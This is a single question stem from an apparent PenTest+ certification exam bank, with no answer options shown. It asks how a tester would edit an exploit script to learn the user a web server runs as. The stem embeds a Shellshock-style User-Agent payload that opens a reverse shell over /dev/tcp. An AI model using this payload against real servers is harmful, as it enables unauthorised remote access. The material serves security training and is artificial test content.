Exam PT1-002 topic 1 question 93 discussion

A penetration tester discovers a vulnerable web server at 10.10.1.1. The tester then edits a Python script that sends a web exploit and comes across the following code: exploits = {`User-Agent`: `() { ignored;};/bin/bash `"i>& /dev/tcp/127.0.0.1/9090 0>&1`, `Accept`: `text/ html,application/xhtml+xml,application/xml`}
Which of the following edits should the tester make to the script to determine the user context in which the server is being run?